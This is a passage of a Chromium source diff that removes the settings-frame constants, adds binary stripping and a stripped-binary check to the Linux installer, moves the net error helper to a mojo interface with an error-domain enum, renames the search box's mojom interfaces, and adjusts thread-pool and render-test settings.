 const char kChromeUISiteDetailsPrefixURL[] =
     "chrome://settings/content/siteDetails?site=";
-const char kChromeUISettingsFrameURL[] = "chrome://settings-frame/";
 const char kChromeUISigninEmailConfirmationURL[] =
     "chrome://signin-email-confirmation";
 const char kChromeUISigninErrorURL[] = "chrome://signin-error/";
@@ -245,7 +244,6 @@
 const char kChromeUIQuitHost[] = "quit";
 const char kChromeUIRestartHost[] = "restart";
 const char kChromeUISettingsHost[] = "settings";
-const char kChromeUISettingsFrameHost[] = "settings-frame";
 const char kChromeUIShorthangHost[] = "shorthang";
 const char kChromeUISigninEmailConfirmationHost[] = "signin-email-confirmation";
 const char kChromeUISigninErrorHost[] = "signin-error";
diff --git a/chrome/common/url_constants.h b/chrome/common/url_constants.h
index dc75cd56..db699e52 100644
--- a/chrome/common/url_constants.h
+++ b/chrome/common/url_constants.h
@@ -78,8 +78,6 @@
 extern const char kChromeUIRestartURL[];
 extern const char kChromeUISettingsURL[];
 extern const char kChromeUIContentSettingsURL[];
-// TODO(dbeam): remove settings-frame.
-extern const char kChromeUISettingsFrameURL[];
 extern const char kChromeUISigninEmailConfirmationURL[];
 extern const char kChromeUISigninErrorURL[];
 extern const char kChromeUISiteDetailsPrefixURL[];
@@ -230,7 +228,6 @@
 extern const char kChromeUIQuitHost[];
 extern const char kChromeUIRestartHost[];
 extern const char kChromeUISettingsHost[];
-extern const char kChromeUISettingsFrameHost[];
 extern const char kChromeUIShorthangHost[];
 extern const char kChromeUISigninEmailConfirmationHost[];
 extern const char kChromeUISigninErrorHost[];
diff --git a/chrome/installer/linux/common/installer.include b/chrome/installer/linux/common/installer.include
index 239ed69..8dcd464 100644
--- a/chrome/installer/linux/common/installer.include
+++ b/chrome/installer/linux/common/installer.include
@@ -158,26 +158,36 @@
   # Widevine CDM.
   if [ -f "${BUILDDIR}/libwidevinecdmadapter.so" ]; then
     install -m 644 -s "${BUILDDIR}/libwidevinecdmadapter.so" "${STAGEDIR}/${INSTALLDIR}/"
+    # No need to strip; libwidevinecdm.so starts out stripped.
     install -m 644 "${BUILDDIR}/libwidevinecdm.so" "${STAGEDIR}/${INSTALLDIR}/"
   fi
 
   # ANGLE
   if [ "${CHANNEL}" != "stable" ]; then
-    install -m 644 "${BUILDDIR}/libGLESv2.so" "${STAGEDIR}/${INSTALLDIR}/"
-    install -m 644 "${BUILDDIR}/libEGL.so" "${STAGEDIR}/${INSTALLDIR}/"
+    for file in libEGL.so libGLESv2.so; do
+      buildfile="${BUILDDIR}/${file}"
+      strippedfile="${buildfile}.stripped"
+      debugfile="${buildfile}.debug"
+      "${BUILDDIR}/installer/common/eu-strip" -o "${strippedfile}" -f "${debugfile}" "${buildfile}"
+      install -m 644 "${strippedfile}" "${STAGEDIR}/${INSTALLDIR}/${file}"
+    done
   fi
 
   # SwiftShader
   if [ -f "${BUILDDIR}/swiftshader/libEGL.so" ]; then
     install -m 755 -d "${STAGEDIR}/${INSTALLDIR}/swiftshader/"
-    install -m 644 "${BUILDDIR}/swiftshader/libEGL.so" "${STAGEDIR}/${INSTALLDIR}/swiftshader/"
-    install -m 644 "${BUILDDIR}/swiftshader/libGLESv2.so" "${STAGEDIR}/${INSTALLDIR}/swiftshader/"
+    for file in libEGL.so libGLESv2.so; do
+      buildfile="${BUILDDIR}/swiftshader/${file}"
+      strippedfile="${buildfile}.stripped"
+      debugfile="${buildfile}.debug"
+      "${BUILDDIR}/installer/common/eu-strip" -o "${strippedfile}" -f "${debugfile}" "${buildfile}"
+      install -m 644 "${strippedfile}" "${STAGEDIR}/${INSTALLDIR}/swiftshader/${file}"
+    done
   fi
 
   # libc++
   if [ -f "${BUILDDIR}/lib/libc++.so" ]; then
     install -m 755 -d "${STAGEDIR}/${INSTALLDIR}/lib/"
-
     install -m 644 -s "${BUILDDIR}/lib/libc++.so" "${STAGEDIR}/${INSTALLDIR}/lib/"
   fi
 
@@ -257,4 +267,12 @@
   # documentation
   install -m 755 "${BUILDDIR}/${PROGNAME}.1" \
     "${STAGEDIR}/usr/share/man/man1/${PACKAGE}.1"
+
+  # Lastly, check to make sure all the ELF binaries are stripped.
+  UNSTRIPPED=$(find "${STAGEDIR}${INSTALLDIR}/" -type f | xargs file |
+      grep ELF | grep -c "not stripped" || true)
+  if [ "${UNSTRIPPED}" != "0" ]; then
+    echo "ERROR: Found ${UNSTRIPPED} unstripped ELF files." 1>&2
+    exit 1
+  fi
 }
diff --git a/chrome/profiling/memlog_receiver_pipe_posix.h b/chrome/profiling/memlog_receiver_pipe_posix.h
index 4bcb24a..0e63a00c 100644
--- a/chrome/profiling/memlog_receiver_pipe_posix.h
+++ b/chrome/profiling/memlog_receiver_pipe_posix.h
@@ -49,9 +49,6 @@
   scoped_refptr<base::TaskRunner> receiver_task_runner_;
   scoped_refptr<MemlogStreamReceiver> receiver_;
 
-  // Make base::UnixDomainSocket::RecvMsg happy.
-  std::vector<base::ScopedFD>* dummy_for_receive_;
-
   DISALLOW_COPY_AND_ASSIGN(MemlogReceiverPipe);
 };
 
diff --git a/chrome/renderer/BUILD.gn b/chrome/renderer/BUILD.gn
index ccd8059..01830f4c 100644
--- a/chrome/renderer/BUILD.gn
+++ b/chrome/renderer/BUILD.gn
@@ -114,8 +114,8 @@
     "//chrome:resources",
     "//chrome:strings",
     "//chrome/common",
-    "//chrome/common:instant_mojom",
     "//chrome/common:mojo_bindings",
+    "//chrome/common:search_mojom",
     "//chrome/common/net",
     "//components/autofill/content/renderer",
     "//components/cdm/renderer",
@@ -414,7 +414,7 @@
 
   deps = [
     ":renderer",
-    "//chrome/common:instant_mojom",
+    "//chrome/common:search_mojom",
     "//content/test:test_support",
     "//extensions/features",
     "//testing/gmock",
diff --git a/chrome/renderer/chrome_content_renderer_client.cc b/chrome/renderer/chrome_content_renderer_client.cc
index 9ebd9c542..fa5c017 100644
--- a/chrome/renderer/chrome_content_renderer_client.cc
+++ b/chrome/renderer/chrome_content_renderer_client.cc
@@ -1107,16 +1107,11 @@
 }
 #endif  // defined(DISABLE_NACL)
 
-bool ChromeContentRendererClient::HasErrorPage(int http_status_code,
-                                               std::string* error_domain) {
+bool ChromeContentRendererClient::HasErrorPage(int http_status_code) {
   // Use an internal error page, if we have one for the status code.
-  if (!error_page::LocalizedError::HasStrings(
-          error_page::LocalizedError::kHttpErrorDomain, http_status_code)) {
-    return false;
-  }
-
-  *error_domain = error_page::LocalizedError::kHttpErrorDomain;
-  return true;
+  return error_page::LocalizedError::HasStrings(
+      NetErrorHelper::GetDomainString(blink::WebURLError::Domain::kHttp),
+      http_status_code);
 }
 
 bool ChromeContentRendererClient::ShouldSuppressErrorPage(
@@ -1151,7 +1146,7 @@
 
   if (error_description) {
     *error_description = error_page::LocalizedError::GetErrorDetails(
-        error.domain.Utf8(), error.reason, is_post);
+        NetErrorHelper::GetDomainString(error.domain), error.reason, is_post);
   }
 }
 
diff --git a/chrome/renderer/chrome_content_renderer_client.h b/chrome/renderer/chrome_content_renderer_client.h
index 2e78bdd..95267ac 100644
--- a/chrome/renderer/chrome_content_renderer_client.h
+++ b/chrome/renderer/chrome_content_renderer_client.h
@@ -117,7 +117,7 @@
   blink::WebPlugin* CreatePluginReplacement(
       content::RenderFrame* render_frame,
       const base::FilePath& plugin_path) override;
-  bool HasErrorPage(int http_status_code, std::string* error_domain) override;
+  bool HasErrorPage(int http_status_code) override;
   bool ShouldSuppressErrorPage(content::RenderFrame* render_frame,
                                const GURL& url) override;
   void GetNavigationErrorStrings(content::RenderFrame* render_frame,
diff --git a/chrome/renderer/net/net_error_helper.cc b/chrome/renderer/net/net_error_helper.cc
index 50ac257..78a486b 100644
--- a/chrome/renderer/net/net_error_helper.cc
+++ b/chrome/renderer/net/net_error_helper.cc
@@ -37,7 +37,6 @@
 #include "third_party/WebKit/public/platform/WebCachePolicy.h"
 #include "third_party/WebKit/public/platform/WebSecurityOrigin.h"
 #include "third_party/WebKit/public/platform/WebURL.h"
-#include "third_party/WebKit/public/platform/WebURLError.h"
 #include "third_party/WebKit/public/platform/WebURLRequest.h"
 #include "third_party/WebKit/public/platform/WebURLResponse.h"
 #include "third_party/WebKit/public/web/WebDataSource.h"
@@ -101,6 +100,8 @@
   render_frame->GetAssociatedInterfaceRegistry()->AddInterface(
       base::Bind(&NetErrorHelper::OnNetworkDiagnosticsClientRequest,
                  base::Unretained(this)));
+  render_frame->GetAssociatedInterfaceRegistry()->AddInterface(base::Bind(
+      &NetErrorHelper::OnNavigationCorrectorRequest, base::Unretained(this)));
 }
 
 NetErrorHelper::~NetErrorHelper() {
@@ -154,18 +155,6 @@
   core_->OnWasHidden();
 }
 
-bool NetErrorHelper::OnMessageReceived(const IPC::Message& message) {
-  bool handled = true;
-
-  IPC_BEGIN_MESSAGE_MAP(NetErrorHelper, message)
-    IPC_MESSAGE_HANDLER(ChromeViewMsg_SetNavigationCorrectionInfo,
-                        OnSetNavigationCorrectionInfo);
-    IPC_MESSAGE_UNHANDLED(handled = false)
-  IPC_END_MESSAGE_MAP()
-
-  return handled;
-}
-
 void NetErrorHelper::OnDestruct() {
   delete this;
 }
@@ -215,7 +204,7 @@
   } else {
     base::DictionaryValue error_strings;
     LocalizedError::GetStrings(
-        error.reason, error.domain.Utf8(), error.unreachable_url,
+        error.reason, GetDomainString(error.domain), error.unreachable_url,
         is_failed_post, error.stale_copy_in_cache,
         can_show_network_diagnostics_dialog,
         ChromeRenderThreadObserver::is_incognito_process(),
@@ -248,8 +237,9 @@
                                      bool can_show_network_diagnostics_dialog) {
   base::DictionaryValue error_strings;
   LocalizedError::GetStrings(
-      error.reason, error.domain.Utf8(), error.unreachable_url, is_failed_post,
-      error.stale_copy_in_cache, can_show_network_diagnostics_dialog,
+      error.reason, GetDomainString(error.domain), error.unreachable_url,
+      is_failed_post, error.stale_copy_in_cache,
+      can_show_network_diagnostics_dialog,
       ChromeRenderThreadObserver::is_incognito_process(),
       RenderThread::Get()->GetLocale(), std::unique_ptr<ErrorPageParams>(),
       &error_strings);
@@ -351,7 +341,7 @@
   core_->OnNetErrorInfo(static_cast<DnsProbeStatus>(status_num));
 }
 
-void NetErrorHelper::OnSetNavigationCorrectionInfo(
+void NetErrorHelper::SetNavigationCorrectionInfo(
     const GURL& navigation_correction_url,
     const std::string& language,
     const std::string& country_code,
@@ -384,6 +374,25 @@
   network_diagnostics_client_bindings_.AddBinding(this, std::move(request));
 }
 
+void NetErrorHelper::OnNavigationCorrectorRequest(
+    chrome::mojom::NavigationCorrectorAssociatedRequest request) {
+  navigation_corrector_bindings_.AddBinding(this, std::move(request));
+}
+
 void NetErrorHelper::SetCanShowNetworkDiagnosticsDialog(bool can_show) {
   core_->OnSetCanShowNetworkDiagnosticsDialog(can_show);
 }
+
+std::string NetErrorHelper::GetDomainString(blink::WebURLError::Domain domain) {
+  using Domain = blink::WebURLError::Domain;
+  switch (domain) {
+    case Domain::kNet:
+      return net::kErrorDomain;
+    case Domain::kHttp:
+      return error_page::kHttpErrorDomain;
+    case Domain::kDnsProbe:
+      return error_page::kDnsProbeErrorDomain;
+    default:
+      return error_page::kUnknownErrorDomain;
+  }
+}
diff --git a/chrome/renderer/net/net_error_helper.h b/chrome/renderer/net/net_error_helper.h
index d52c56d..7ab95092 100644
--- a/chrome/renderer/net/net_error_helper.h
+++ b/chrome/renderer/net/net_error_helper.h
@@ -11,6 +11,7 @@
 #include "base/macros.h"
 #include "base/memory/weak_ptr.h"
 #include "build/build_config.h"
+#include "chrome/common/navigation_corrector.mojom.h"
 #include "chrome/common/network_diagnostics.mojom.h"
 #include "chrome/renderer/net/net_error_helper_core.h"
 #include "chrome/renderer/net/net_error_page_controller.h"
@@ -19,12 +20,12 @@
 #include "content/public/renderer/render_frame_observer_tracker.h"
 #include "content/public/renderer/render_thread_observer.h"
 #include "mojo/public/cpp/bindings/associated_binding_set.h"
+#include "third_party/WebKit/public/platform/WebURLError.h"
 
 class GURL;
 
 namespace blink {
 class WebURLResponse;
-struct WebURLError;
 }
 
 namespace content {
@@ -46,7 +47,8 @@
       public content::RenderThreadObserver,
       public NetErrorHelperCore::Delegate,
       public NetErrorPageController::Delegate,
-      public chrome::mojom::NetworkDiagnosticsClient {
+      public chrome::mojom::NetworkDiagnosticsClient,
+      public chrome::mojom::NavigationCorrector {
  public:
   explicit NetErrorHelper(content::RenderFrame* render_frame);
   ~NetErrorHelper() override;
@@ -65,9 +67,6 @@
   void WasHidden() override;
   void OnDestruct() override;
 
-  // IPC::Listener implementation.
-  bool OnMessageReceived(const IPC::Message& message) override;
-
   // RenderThreadObserver implementation.
   void NetworkStateChanged(bool online) override;
 
@@ -83,6 +82,10 @@
   // attached to should have its error page suppressed.
   bool ShouldSuppressErrorPage(const GURL& url);
 
+  // Returns a string representation of |domain|. The returned value is usable
+  // for error_page::LocalizedError.
+  static std::string GetDomainString(blink::WebURLError::Domain domain);
+
  private:
   chrome::mojom::NetworkDiagnostics* GetRemoteNetworkDiagnostics();
 
@@ -128,11 +131,20 @@
 
   void OnNetworkDiagnosticsClientRequest(
       chrome::mojom::NetworkDiagnosticsClientAssociatedRequest request);
+  void OnNavigationCorrectorRequest(
+      chrome::mojom::NavigationCorrectorAssociatedRequest request);
 
   // chrome::mojom::NetworkDiagnosticsClient:
   void SetCanShowNetworkDiagnosticsDialog(bool can_show) override;
   void DNSProbeStatus(int32_t) override;
 
+  // chrome::mojom::NavigationCorrector:
+  void SetNavigationCorrectionInfo(const GURL& navigation_correction_url,
+                                   const std::string& language,
+                                   const std::string& country_code,
+                                   const std::string& api_key,
+                                   const GURL& search_url) override;
+
   std::unique_ptr<content::ResourceFetcher> correction_fetcher_;
   std::unique_ptr<content::ResourceFetcher> tracking_fetcher_;
 
@@ -141,6 +153,8 @@
   mojo::AssociatedBindingSet<chrome::mojom::NetworkDiagnosticsClient>
       network_diagnostics_client_bindings_;
   chrome::mojom::NetworkDiagnosticsAssociatedPtr remote_network_diagnostics_;
+  mojo::AssociatedBindingSet<chrome::mojom::NavigationCorrector>
+      navigation_corrector_bindings_;
 
   // Weak factory for vending a weak pointer to a NetErrorPageController. Weak
   // pointers are invalidated on each commit, to prevent getting messages from
diff --git a/chrome/renderer/net/net_error_helper_core.cc b/chrome/renderer/net/net_error_helper_core.cc
index 58e4fa3..366045a 100644
--- a/chrome/renderer/net/net_error_helper_core.cc
+++ b/chrome/renderer/net/net_error_helper_core.cc
@@ -124,7 +124,7 @@
 // Returns whether |error| is a DNS-related error (and therefore whether
 // the tab helper should start a DNS probe after receiving it).
 bool IsBlinkDnsError(const blink::WebURLError& error) {
-  return (error.domain.Utf8() == net::kErrorDomain) &&
+  return error.domain == blink::WebURLError::Domain::kNet &&
          net::IsDnsError(error.reason);
 }
 
@@ -162,8 +162,8 @@
   if (GURL(unreachable_url).SchemeIsCryptographic())
     return false;
 
-  std::string domain = error.domain.Utf8();
-  if (domain == url::kHttpScheme && error.reason == 404) {
+  const auto& domain = error.domain;
+  if (domain == blink::WebURLError::Domain::kHttp && error.reason == 404) {
     *error_param = "http404";
     return true;
   }
@@ -171,7 +171,7 @@
     *error_param = "dnserror";
     return true;
   }
-  if (domain == net::kErrorDomain &&
+  if (domain == blink::WebURLError::Domain::kNet &&
       (error.reason == net::ERR_CONNECTION_FAILED ||
        error.reason == net::ERR_CONNECTION_REFUSED ||
        error.reason == net::ERR_ADDRESS_UNREACHABLE ||
@@ -365,7 +365,7 @@
 }
 
 void ReportAutoReloadSuccess(const blink::WebURLError& error, size_t count) {
-  if (error.domain.Utf8() != net::kErrorDomain)
+  if (error.domain != blink::WebURLError::Domain::kNet)
     return;
   UMA_HISTOGRAM_SPARSE_SLOWLY("Net.AutoReload.ErrorAtSuccess", -error.reason);
   UMA_HISTOGRAM_COUNTS("Net.AutoReload.CountAtSuccess",
@@ -377,7 +377,7 @@
 }
 
 void ReportAutoReloadFailure(const blink::WebURLError& error, size_t count) {
-  if (error.domain.Utf8() != net::kErrorDomain)
+  if (error.domain != blink::WebURLError::Domain::kNet)
     return;
   UMA_HISTOGRAM_SPARSE_SLOWLY("Net.AutoReload.ErrorAtStop", -error.reason);
   UMA_HISTOGRAM_COUNTS("Net.AutoReload.CountAtStop",
@@ -478,7 +478,7 @@
 bool NetErrorHelperCore::IsReloadableError(
     const NetErrorHelperCore::ErrorPageInfo& info) {
   GURL url = info.error.unreachable_url;
-  return info.error.domain.Utf8() == net::kErrorDomain &&
+  return info.error.domain == blink::WebURLError::Domain::kNet &&
          info.error.reason != net::ERR_ABORTED &&
          // For now, net::ERR_UNKNOWN_URL_SCHEME is only being displayed on
          // Chrome for Android.
@@ -855,8 +855,7 @@
   }
 
   blink::WebURLError updated_error;
-  updated_error.domain =
-      blink::WebString::FromUTF8(error_page::kDnsProbeErrorDomain);
+  updated_error.domain = blink::WebURLError::Domain::kDnsProbe;
   updated_error.reason = last_probe_status_;
   updated_error.unreachable_url = error.unreachable_url;
   updated_error.stale_copy_in_cache = error.stale_copy_in_cache;
diff --git a/chrome/renderer/net/net_error_helper_core_unittest.cc b/chrome/renderer/net/net_error_helper_core_unittest.cc
index 5a67ae24..fa1e65d 100644
--- a/chrome/renderer/net/net_error_helper_core_unittest.cc
+++ b/chrome/renderer/net/net_error_helper_core_unittest.cc
@@ -8,6 +8,7 @@
 
 #include <map>
 #include <memory>
+#include <sstream>
 #include <string>
 #include <utility>
 #include <vector>
@@ -113,16 +114,16 @@
 // Creates a string from an error that is used as a mock locally generated
 // error page for that error.
 std::string ErrorToString(const WebURLError& error, bool is_failed_post) {
-  return base::StringPrintf("(%s, %s, %i, %s)",
-                            error.unreachable_url.GetString().Utf8().c_str(),
-                            error.domain.Utf8().c_str(), error.reason,
-                            is_failed_post ? "POST" : "NOT POST");
+  std::ostringstream ss;
+  ss << "(" << error.unreachable_url << ", " << error.domain << ", "
+     << error.reason << ", " << (is_failed_post ? "POST" : "NOT POST") << ")";
+  return ss.str();
 }
 
 WebURLError ProbeError(error_page::DnsProbeStatus status) {
   WebURLError error;
   error.unreachable_url = GURL(kFailedUrl);
-  error.domain = blink::WebString::FromUTF8(error_page::kDnsProbeErrorDomain);
+  error.domain = WebURLError::Domain::kDnsProbe;
   error.reason = status;
   return error;
 }
@@ -130,7 +131,7 @@
 WebURLError NetErrorForURL(net::Error net_error, const GURL& url) {
   WebURLError error;
   error.unreachable_url = url;
-  error.domain = blink::WebString::FromUTF8(net::kErrorDomain);
+  error.domain = WebURLError::Domain::kNet;
   error.reason = net_error;
   return error;
 }
diff --git a/chrome/renderer/searchbox/searchbox.cc b/chrome/renderer/searchbox/searchbox.cc
index b07e104..54b4403a 100644
--- a/chrome/renderer/searchbox/searchbox.cc
+++ b/chrome/renderer/searchbox/searchbox.cc
@@ -16,8 +16,8 @@
 #include "base/strings/utf_string_conversions.h"
 #include "base/time/time.h"
 #include "chrome/common/chrome_switches.h"
-#include "chrome/common/instant.mojom.h"
 #include "chrome/common/render_messages.h"
+#include "chrome/common/search.mojom.h"
 #include "chrome/common/url_constants.h"
 #include "chrome/renderer/searchbox/searchbox_extension.h"
 #include "components/favicon_base/favicon_types.h"
@@ -231,10 +231,10 @@
   // Connect to the embedded search interface in the browser.
   chrome::mojom::EmbeddedSearchConnectorAssociatedPtr connector;
   render_frame->GetRemoteAssociatedInterfaces()->GetInterface(&connector);
-  chrome::mojom::SearchBoxAssociatedPtrInfo search_box;
-  binding_.Bind(mojo::MakeRequest(&search_box));
-  connector->Connect(mojo::MakeRequest(&instant_service_),
-                     std::move(search_box));
+  chrome::mojom::EmbeddedSearchClientAssociatedPtrInfo embedded_search_client;
+  binding_.Bind(mojo::MakeRequest(&embedded_search_client));
+  connector->Connect(mojo::MakeRequest(&embedded_search_service_),
+                     std::move(embedded_search_client));
 }
 
 SearchBox::~SearchBox() = default;
@@ -247,29 +247,29 @@
       (base::TimeTicks::Now() - base::TimeTicks::UnixEpoch()).InMilliseconds();
   DCHECK(now >= start);
   base::TimeDelta delta = base::TimeDelta::FromMilliseconds(now - start);
-  instant_service_->LogEvent(page_seq_no_, event, delta);
+  embedded_search_service_->LogEvent(page_seq_no_, event, delta);
 }
 
 void SearchBox::LogMostVisitedImpression(int position,
                                          ntp_tiles::TileSource tile_source,
                                          ntp_tiles::TileVisualType tile_type) {
-  instant_service_->LogMostVisitedImpression(page_seq_no_, position,
-                                             tile_source, tile_type);
+  embedded_search_service_->LogMostVisitedImpression(page_seq_no_, position,
+                                                     tile_source, tile_type);
 }
 
 void SearchBox::LogMostVisitedNavigation(int position,
                                          ntp_tiles::TileSource tile_source,
                                          ntp_tiles::TileVisualType tile_type) {
-  instant_service_->LogMostVisitedNavigation(page_seq_no_, position,
-                                             tile_source, tile_type);
+  embedded_search_service_->LogMostVisitedNavigation(page_seq_no_, position,
+                                                     tile_source, tile_type);
 }
 
 void SearchBox::CheckIsUserSignedInToChromeAs(const base::string16& identity) {
-  instant_service_->ChromeIdentityCheck(page_seq_no_, identity);
+  embedded_search_service_->ChromeIdentityCheck(page_seq_no_, identity);
 }
 
 void SearchBox::CheckIsUserSyncingHistory() {
-  instant_service_->HistorySyncCheck(page_seq_no_);
+  embedded_search_service_->HistorySyncCheck(page_seq_no_);
 }
 
 void SearchBox::DeleteMostVisitedItem(
@@ -277,7 +277,7 @@
   GURL url = GetURLForMostVisitedItem(most_visited_item_id);
   if (!url.is_valid())
     return;
-  instant_service_->DeleteMostVisitedItem(page_seq_no_, url);
+  embedded_search_service_->DeleteMostVisitedItem(page_seq_no_, url);
 }
 
 bool SearchBox::GenerateImageURLFromTransientURL(const GURL& transient_url,
@@ -308,19 +308,19 @@
 }
 
 void SearchBox::Paste(const base::string16& text) {
-  instant_service_->PasteAndOpenDropdown(page_seq_no_, text);
+  embedded_search_service_->PasteAndOpenDropdown(page_seq_no_, text);
 }
 
 void SearchBox::StartCapturingKeyStrokes() {
-  instant_service_->FocusOmnibox(page_seq_no_, OMNIBOX_FOCUS_INVISIBLE);
+  embedded_search_service_->FocusOmnibox(page_seq_no_, OMNIBOX_FOCUS_INVISIBLE);
 }
 
 void SearchBox::StopCapturingKeyStrokes() {
-  instant_service_->FocusOmnibox(page_seq_no_, OMNIBOX_FOCUS_NONE);
+  embedded_search_service_->FocusOmnibox(page_seq_no_, OMNIBOX_FOCUS_NONE);
 }
 
 void SearchBox::UndoAllMostVisitedDeletions() {
-  instant_service_->UndoAllMostVisitedDeletions(page_seq_no_);
+  embedded_search_service_->UndoAllMostVisitedDeletions(page_seq_no_);
 }
 
 void SearchBox::UndoMostVisitedDeletion(
@@ -328,7 +328,7 @@
   GURL url = GetURLForMostVisitedItem(most_visited_item_id);
   if (!url.is_valid())
     return;
-  instant_service_->UndoMostVisitedDeletion(page_seq_no_, url);
+  embedded_search_service_->UndoMostVisitedDeletion(page_seq_no_, url);
 }
 
 void SearchBox::SetPageSequenceNumber(int page_seq_no) {
@@ -432,7 +432,8 @@
   return GetMostVisitedItemWithID(item_id, &item) ? item.url : GURL();
 }
 
-void SearchBox::Bind(chrome::mojom::SearchBoxAssociatedRequest request) {
+void SearchBox::Bind(
+    chrome::mojom::EmbeddedSearchClientAssociatedRequest request) {
   binding_.Bind(std::move(request));
 }
 
diff --git a/chrome/renderer/searchbox/searchbox.h b/chrome/renderer/searchbox/searchbox.h
index 9d22f9f..fe22131f 100644
--- a/chrome/renderer/searchbox/searchbox.h
+++ b/chrome/renderer/searchbox/searchbox.h
@@ -10,7 +10,7 @@
 
 #include "base/macros.h"
 #include "base/strings/string16.h"
-#include "chrome/common/instant.mojom.h"
+#include "chrome/common/search.mojom.h"
 #include "chrome/common/search/instant_types.h"
 #include "chrome/common/search/ntp_logging_events.h"
 #include "chrome/renderer/instant_restricted_id_cache.h"
@@ -25,7 +25,7 @@
 
 class SearchBox : public content::RenderFrameObserver,
                   public content::RenderFrameObserverTracker<SearchBox>,
-                  public chrome::mojom::SearchBox {
+                  public chrome::mojom::EmbeddedSearchClient {
  public:
   enum ImageSourceType {
     NONE = -1,
@@ -153,7 +153,7 @@
   // Returns the URL of the Most Visited item specified by the |item_id|.
   GURL GetURLForMostVisitedItem(InstantRestrictedID item_id) const;
 
-  void Bind(chrome::mojom::SearchBoxAssociatedRequest request);
+  void Bind(chrome::mojom::EmbeddedSearchClientAssociatedRequest request);
 
   int page_seq_no_;
   bool is_focused_;
@@ -163,8 +163,8 @@
   ThemeBackgroundInfo theme_info_;
   EmbeddedSearchRequestParams embedded_search_request_params_;
   InstantSuggestion suggestion_;
-  chrome::mojom::InstantAssociatedPtr instant_service_;
-  mojo::AssociatedBinding<chrome::mojom::SearchBox> binding_;
+  chrome::mojom::EmbeddedSearchAssociatedPtr embedded_search_service_;
+  mojo::AssociatedBinding<chrome::mojom::EmbeddedSearchClient> binding_;
 
   DISALLOW_COPY_AND_ASSIGN(SearchBox);
 };
diff --git a/chrome/service/service_process.cc b/chrome/service/service_process.cc
index f230417..095afcd 100644
--- a/chrome/service/service_process.cc
+++ b/chrome/service/service_process.cc
@@ -166,8 +166,6 @@
   }
 
   // Initialize TaskScheduler and redirect SequencedWorkerPool tasks to it.
-  using StandbyThreadPolicy =
-      base::SchedulerWorkerPoolParams::StandbyThreadPolicy;
   constexpr int kMaxBackgroundThreads = 1;
   constexpr int kMaxBackgroundBlockingThreads = 1;
   constexpr int kMaxForegroundThreads = 3;
@@ -177,14 +175,10 @@
 
   base::TaskScheduler::Create("CloudPrintServiceProcess");
   base::TaskScheduler::GetInstance()->Start(
-      {{StandbyThreadPolicy::LAZY, kMaxBackgroundThreads,
-        kSuggestedReclaimTime},
-       {StandbyThreadPolicy::LAZY, kMaxBackgroundBlockingThreads,
-        kSuggestedReclaimTime},
-       {StandbyThreadPolicy::LAZY, kMaxForegroundThreads,
-        kSuggestedReclaimTime},
-       {StandbyThreadPolicy::LAZY, kMaxForegroundBlockingThreads,
-        kSuggestedReclaimTime,
+      {{kMaxBackgroundThreads, kSuggestedReclaimTime},
+       {kMaxBackgroundBlockingThreads, kSuggestedReclaimTime},
+       {kMaxForegroundThreads, kSuggestedReclaimTime},
+       {kMaxForegroundBlockingThreads, kSuggestedReclaimTime,
         base::SchedulerBackwardCompatibility::INIT_COM_STA}});
 
   base::SequencedWorkerPool::EnableWithRedirectionToTaskSchedulerForProcess();
diff --git a/chrome/test/BUILD.gn b/chrome/test/BUILD.gn
index 08f084d6..dc3f884f 100644
--- a/chrome/test/BUILD.gn
+++ b/chrome/test/BUILD.gn
@@ -3847,8 +3847,9 @@
   }
 
   if ((is_linux && !is_chromeos) || is_win) {
-    sources += [ "../browser/feature_engagement_tracker/new_tab/new_tab_tracker_unittest.cc" ]
-    deps += [ "//components/feature_engagement_tracker/test:test_support" ]
+    sources +=
+        [ "../browser/feature_engagement/new_tab/new_tab_tracker_unittest.cc" ]
+    deps += [ "//components/feature_engagement/test:test_support" ]
   }
 
   if (is_linux || is_win) {
diff --git a/chrome/test/android/javatests/src/org/chromium/chrome/test/util/RenderTestRule.java b/chrome/test/android/javatests/src/org/chromium/chrome/test/util/RenderTestRule.java
index fdb775a..ec237e5 100644
--- a/chrome/test/android/javatests/src/org/chromium/chrome/test/util/RenderTestRule.java
+++ b/chrome/test/android/javatests/src/org/chromium/chrome/test/util/RenderTestRule.java
@@ -4,13 +4,11 @@
 
 package org.chromium.chrome.test.util;
 
-import android.content.res.Resources;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
 import android.graphics.Color;
 import android.os.Build;
 import android.text.TextUtils;
-import android.util.DisplayMetrics;
 import android.util.Pair;
 import android.view.View;
 
@@ -66,19 +64,11 @@
     private static final String GOLDEN_FOLDER_RELATIVE = "/goldens";
 
     /**
-     * This is a list of devices that we maintain golden images for. If render tests are being run
-     * on a device in this list, golden images should exist and their absence is a test failure.
-     * The absence of golden images for devices not on this list doesn't necessarily mean that
-     * something is wrong - the tests are just being run on a device that we don't have goldens for.
+     * This is a list of model-SDK version identifiers for devices we maintain golden images for.
+     * If render tests are being run on a device of a model-sdk on this list, goldens should exist.
      */
-    private static final String[] RENDER_TEST_DEVICES = {"Nexus 5X", "Nexus 5"};
-
-    /**
-     * Before we know how flaky screenshot tests are going to be we don't want them to cause a
-     * full test failure every time they fail. If the tests prove their worth, this will be set to
-     * false/removed.
-     */
-    private static final boolean REPORT_ONLY_DO_NOT_FAIL = true;
+    // TODO(peconn): Add "Nexus_5X-23" once it's run on CQ - https://crbug.com/731759.
+    private static final String[] RENDER_TEST_MODEL_SDK_PAIRS = {"Nexus_5-19"};
 
     /** How many pixels can be different in an image before counting the images as different. */
     private static final int PIXEL_DIFF_THRESHOLD = 0;
@@ -125,8 +115,8 @@
     /**
      * Renders the |view| and compares it to the golden view with the |id|. The RenderTestRule will
      * throw an exception after the test method has completed if the view does not match the
-     * golden or if a golden is missing on a render test device (see
-     * {@link RenderTestRule#RENDER_TEST_DEVICES}).
+     * golden or if a golden is missing on a device it should be present (see
+     * {@link RenderTestRule#RENDER_TEST_MODEL_SDK_PAIRS}).
      *
      * @throws IOException if the rendered image cannot be saved to the device.
      */
@@ -199,19 +189,15 @@
             sb.append(TextUtils.join(", ", mMismatchIds));
         }
 
-        if (REPORT_ONLY_DO_NOT_FAIL) {
-            Log.w(TAG, sb.toString());
-        } else {
-            throw new RenderTestException(sb.toString());
-        }
+        throw new RenderTestException(sb.toString());
     }
 
     /**
      * Returns whether goldens should exist for the current device.
      */
     private static boolean onRenderTestDevice() {
-        for (String model : RENDER_TEST_DEVICES) {
-            if (model.equals(Build.MODEL)) return true;
+        for (String model : RENDER_TEST_MODEL_SDK_PAIRS) {
+            if (model.equals(modelSdkIdentifier())) return true;
         }
         return false;
     }
@@ -232,15 +218,18 @@
